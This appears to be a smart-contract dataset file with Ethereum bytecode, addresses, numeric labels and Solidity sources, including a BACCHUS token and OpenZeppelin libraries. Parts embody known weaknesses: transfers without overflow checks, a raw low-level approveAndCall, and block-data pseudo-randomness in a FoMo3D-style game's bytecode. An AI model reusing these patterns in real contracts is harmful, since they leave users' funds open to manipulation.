25050600a60008b815260200190815260200160002060000160009054906101000a9004600160a060020a03168d60400190600160a060020a03169081600160a060020a031681525050600a60008b8152602001908152602001600020600101548d606001906000191690816000191681525050868d6080018181525050848d60e0018181525050838d60c0018181525050828d60a00181815250508a806001019b50506000600d60008d815260200190815260200160002060030160006101000a81548160ff02191690831515021790555042600d60008d81526020019081526020016000206004018190555061414160025461413561a8c0426141c290919063ffffffff16565b9063ffffffff6141c216565b60008c8152600d6020526040902060028101919091556007018390558c9b505050505050505050505050919050565b60078054600101908190556000908152600d602052604090204260049091018190556002546141ab916141359061a8c063ffffffff6141c216565b6007546000908152600d6020526040902060020155565b8181018281101561421d576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b600061424961424061423b858563ffffffff614ea016565b614ff6565b6123a485614ff6565b9392505050565b6000808210806142605750600382115b1561426d57506002612099565b5080612099565b600754600454429060ff161580156142a057506002546000838152600d60205260409020600401540181115b80156142ee57506000828152600d6020526040902060020154811115806142ee57506000828152600d6020526040902060020154811180156142ee57506000828152600d6020526040902054155b1561432557614300846123a4896144c1565b6000888152600a602052604090206003015561432082888689898861378b565b611cc0565b60045460ff168061434657506000828152600d602052604090206002015481115b801561436457506000828152600d602052604090206003015460ff16155b15611cc0576000828152600d60205260409020600301805460ff1916600117905561438e83613cdd565b60045490935060ff1615156143a5576143a5614170565b80670de0b6b3a764000002836000015101836000018181525050868360200151018360200181815250507f88261ac70d02d5ea73e54fa6da17043c974de1021109573ec1f6f57111c823dd33600a60008a815260200190815260200160002060010154856000015186602001518760400151886060015189608001518a60a001518b60c001518c60e00151604051808b600160a060020a0316600160a060020a031681526020018a6000191660001916815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019a505050505050505050505060405180910390a150505050505050565b6000818152600a602052604081206005015481906144e09084906159b7565b6000838152600a602052604090206004810154600382015460029092015461451292614135919063ffffffff6141c216565b9050600081111561453e576000838152600a602052604081206002810182905560038101829055600401555b8091505b50919050565b80516000908290828080602084118015906145635750600084115b15156145df576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156145ee57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141580156146555750846001850381518110151561462d57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b15156146d1576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156146e057fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a0214156148235784600181518110151561471a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515614797576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b8460018151811015156147a657fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515614823576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b83821015614cf35784517f40000000000000000000000000000000000000000000000000000000000000009086908490811061486057fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156148d4575084517f5b00000000000000000000000000000000000000000000000000000000000000908690849081106148b557fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b156149415784828151811015156148e757fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a02858381518110151561491857fe5b906020010190600160f860020a031916908160001a90535082151561493c57600192505b614ce8565b848281518110151561494f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480614a1f575084517f6000000000000000000000000000000000000000000000000000000000000000908690849081106149ab57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614a1f575084517f7b0000000000000000000000000000000000000000000000000000000000000090869084908110614a0057fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80614ac9575084517f2f0000000000000000000000000000000000000000000000000000000000000090869084908110614a5557fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015614ac9575084517f3a0000000000000000000000000000000000000000000000000000000000000090869084908110614aaa57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515614b45576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8482815181101515614b5357fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415614c32578482600101815181101515614b8f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515614c32576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015614cde575084517f300000000000000000000000000000000000000000000000000000000000000090869084908110614c6b57fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080614cde575084517f390000000000000000000000000000000000000000000000000000000000000090869084908110614cbf57fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b15614ce857600192505b600190910190614828565b600183151514614d4d576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b6000821515614d6c5750600061421d565b50818102818382811515614d7c57fe5b041461421d576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b6000828152600b602090815260408083208484528252808320600190810154600d808552838620600581015493810154875260108652938620548787529452600790920154670de0b6b3a764000093614e8f9392614e83929091614e5a918791606491614e449163ffffffff614d5b16565b811515614e4d57fe5b049063ffffffff614d5b16565b811515614e6357fe5b6000888152600d602052604090206008015491900463ffffffff6141c216565b9063ffffffff614d5b16565b811515614e9857fe5b049392505050565b600082821115614efa576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b6000828152600b6020908152604080832084845282528083206002810154600190910154600d9093529083206008015461424992670de0b6b3a764000091614f4791614d5b565b811515614f5057fe5b049063ffffffff614ea016565b6000614249614f6b84614f7e565b6123a4614f7e868663ffffffff6141c216565b60006309502f90614fe66d03b2a1d15167e7c5699bfde000006123a4614fe17a0dac7055469777a6122ee4310dd6c14410500f29048400000000006141356b01027e72f1f1281308800000614e838a670de0b6b3a764000063ffffffff614d5b16565b615a4e565b811515614fef57fe5b0492915050565b6000615009670de0b6b3a7640000615aa1565b614fe6600261503c61502986670de0b6b3a764000063ffffffff614d5b16565b65886c8f6730709063ffffffff614d5b16565b81151561504557fe5b0461413561505286615aa1565b6304a817c89063ffffffff614d5b16565b61506b615be6565b6000838152600a60205260409020600501541561509f576000838152600a602052604090206005015461509f9084906159b7565b506007546000928352600a60208190526040909320600501558051909101815290565b6000828152600d60205260408120600201544291908190831180156150f357506000858152600d6020526040902054155b156151175761511083614135601e670de0b6b3a76400008a614e4d565b9150615144565b6000858152600d602052604090206002015461514190614135601e670de0b6b3a76400008a614e4d565b91505b6151566154608463ffffffff6141c216565b821015615164575080615179565b6151766154608463ffffffff6141c216565b90505b60035484106151d2576151bd6151b061519c601e671bc16d674ec800008a614e4d565b614135601e670de0b6b3a76400008b614e4d565b829063ffffffff614ea016565b905061025883018110156151d2575061025882015b6000948552600d60205260409094206002019390935550505050565b60008061535f4361413542336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106152695780518252601f19909201916020918201910161524a565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561529f57fe5b046141354561413542416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106153185780518252601f1990920191602091820191016152f9565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561534e57fe5b04614135424463ffffffff6141c216565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106153ad5780518252601f19909201916020918201910161538e565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912060065490945092506103e89150839050046103e802820310156153fc5760019150615401565b600091505b5090565b61540d615be6565b60008080806032890493507397354a7281693b7c93f6348ba4ec38b9ddd76d6e600160a060020a03168460405180807f6465706f736974282900000000000000000000000000000000000000000000008152506009019050604051809103902060e060020a9004906040518263ffffffff1660e060020a02815260040160006040518083038185885af1935050505015156154a85760009392505b60008054604080517fed78cf4a000000000000000000000000000000000000000000000000000000008152905160648d049550600160a060020a039092169263ed78cf4a928692600480820193929182900301818588803b15801561550c57600080fd5b505af1158015615520573d6000803e3d6000fd5b5050505050600a8981151561553157fe5b04905089881415801561555457506000888152600a602052604090206001015415155b156155f4576000888152600a602052604090206004015461557c90829063ffffffff6141c216565b6000898152600a6020908152604091829020600481019390935582546001909301548251600160a060020a03909416845290830152818101839052426060830152518b918d918b917f590bbc0fc16915a85269a48f74783c39842b7ae9eceb7c295c95dbe8b3ec7331919081900360800190a46155f8565b8092505b6000878152600f602052604090206001015461563a90606490615622908c9063ffffffff614d5b16565b81151561562b57fe5b8591900463ffffffff6141c216565b925060008311156156cc57736f93be8fd47ebb62f54ebd149b58658bf9bacf4f600160a060020a031663d0e30db0846040518263ffffffff1660e060020a0281526004016000604051808303818588803b15801561569757600080fd5b505af11580156156ab573d6000803e3d6000fd5b50505060c08801516156c6925085915063ffffffff6141c216565b60c08701525b50939998505050505050505050565b6156e3615be6565b6000848152600f602052604081205481908190819060649061570c908b9063ffffffff614d5b16565b81151561571557fe5b049350606489049250615733836005546141c290919063ffffffff16565b6005556000888152600f60205260409020600101546157a49061579790606490615764908d9063ffffffff614d5b16565b81151561576d57fe5b0460646157818d600e63ffffffff614d5b16565b81151561578a57fe5b049063ffffffff6141c216565b8a9063ffffffff614ea016565b98506157b6898563ffffffff614ea016565b91506157c48b8b868a615aad565b905060008111156157e2576157df848263ffffffff614ea016565b93505b60008b8152600d602052604090206007015461580890614135848463ffffffff6141c216565b60008c8152600d602052604090206007015560e086015161583090859063ffffffff6141c216565b60e0870152506101008501525091979650505050505050565b836c01431e0fae6d7217caa00000000242670de0b6b3a76400000282600001510101816000018181525050600754751aba4714957d300d0e549208b31adb100000000000000285826020015101018160200181815250507f500e72a0e114930aebdbcb371ccdbf43922c49f979794b5de4257ff7e310c74681600001518260200151600a6000898152602001908152602001600020600101543387878760400151886060015189608001518a60a001518b60c001518c60e001518d6101000151600554604051808f81526020018e81526020018d600019166000191681526020018c600160a060020a0316600160a060020a031681526020018b81526020018a815260200189600160a060020a0316600160a060020a0316815260200188600019166000191681526020018781526020018681526020018581526020018481526020018381526020018281526020019e50505050505050505050505050505060405180910390a15050505050565b60006159c38383614f00565b90506000811115615a49576000838152600a60205260409020600301546159f190829063ffffffff6141c216565b6000848152600a6020908152604080832060030193909355600b815282822085835290522060020154615a2b90829063ffffffff6141c216565b6000848152600b602090815260408083208684529091529020600201555b505050565b6000806002615a5e8460016141c2565b811515615a6757fe5b0490508291505b81811015614542578091506002615a908285811515615a8957fe5b04836141c2565b811515615a9957fe5b049050615a6e565b600061421d8283614d5b565b6000848152600d602052604081206005015481908190615adb86670de0b6b3a764000063ffffffff614d5b16565b811515615ae457fe5b6000898152600d60205260409020600801549190049250615b0c90839063ffffffff6141c216565b6000888152600d6020526040902060080155670de0b6b3a7640000615b37838663ffffffff614d5b16565b811515615b4057fe5b6000888152600b602090815260408083208c8452825280832060020154600d90925290912060080154929091049250615b9391614135908490670de0b6b3a764000090614f47908a63ffffffff614d5b16565b6000878152600b602090815260408083208b8452825280832060020193909355600d90522060050154615bdb90670de0b6b3a764000090613e1c90859063ffffffff614d5b16565b979650505050505050565b6101206040519081016040528060008152602001600081526020016000600160a060020a03168152602001600080191681526020016000815260200160008152602001600081526020016000815260200160008152509056006e20646973636f7264000000000000000000000000000000000000000000000074686520726f756e642069732066696e69736865640000000000000000000000706f636b6574206c696e743a206e6f7420612076616c69642063757272656e63697473206e6f74207265616479207965742e2020636865636b203f65746120696e6f20766974616c696b2c206e6f000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820aba4fa2297453e239dc45bb6bd794ed2caf535fb374254a4cb2044e18faabe760029
[ 4, 7, 19, 1, 12, 13 ]
0xf2e9cc9fa39a33c057c7679b35bf3ee6e5896ae6
pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract BAC is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function BAC( ) { balances[msg.sender] = 600000000; // Give the creator all initial tokens (100000 for example) totalSupply = 600000000; // Update total supply (100000 for example) name = "BACCHUS"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "BAC"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100955763ffffffff60e060020a60003504166306fdde0381146100a7578063095ea7b31461013157806318160ddd1461016957806323b872dd14610190578063313ce567146101ba57806354fd4d50146101e557806370a08231146101fa57806395d89b411461021b578063a9059cbb14610230578063cae9ca5114610254578063dd62ed3e146102bd575b3480156100a157600080fd5b50600080fd5b3480156100b357600080fd5b506100bc6102e4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f65781810151838201526020016100de565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013d57600080fd5b50610155600160a060020a0360043516602435610372565b604080519115158252519081900360200190f35b34801561017557600080fd5b5061017e6103d9565b60408051918252519081900360200190f35b34801561019c57600080fd5b50610155600160a060020a03600435811690602435166044356103df565b3480156101c657600080fd5b506101cf6104ca565b6040805160ff9092168252519081900360200190f35b3480156101f157600080fd5b506100bc6104d3565b34801561020657600080fd5b5061017e600160a060020a036004351661052e565b34801561022757600080fd5b506100bc610549565b34801561023c57600080fd5b50610155600160a060020a03600435166024356105a4565b34801561026057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610155948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061063b9650505050505050565b3480156102c957600080fd5b5061017e600160a060020a03600435811690602435166107d6565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b820191906000526020600020905b81548152906001019060200180831161034d57829003601f168201915b505050505081565b336000818152600160209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60025481565b600160a060020a038316600090815260208190526040812054821180159061042a5750600160a060020a03841660009081526001602090815260408083203384529091529020548211155b80156104365750600082115b156104bf57600160a060020a0380841660008181526020818152604080832080548801905593881680835284832080548890039055600182528483203384528252918490208054879003905583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060016104c3565b5060005b9392505050565b60045460ff1681565b6006805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b600160a060020a031660009081526020819052604090205490565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561036a5780601f1061033f5761010080835404028352916020019161036a565b3360009081526020819052604081205482118015906105c35750600082115b15610633573360008181526020818152604080832080548790039055600160a060020a03871680845292819020805487019055805186815290519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060016103d3565b5060006103d3565b336000818152600160209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a383600160a060020a031660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e019050604051809103902060e060020a9004338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a03168152602001828051906020019080838360005b8381101561077b578181015183820152602001610763565b50505050905090810190601f1680156107a85780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156107cc57600080fd5b5060019392505050565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a72305820e7a749684541353dcd289b67b00c6ba43d35fbde036cdbc882eb9c66255b3f870029
[ 38 ]
0xf2e9db3b8d2af2752865af51a71bcd548bd27834
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; pragma experimental ABIEncoderV2 ; library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, 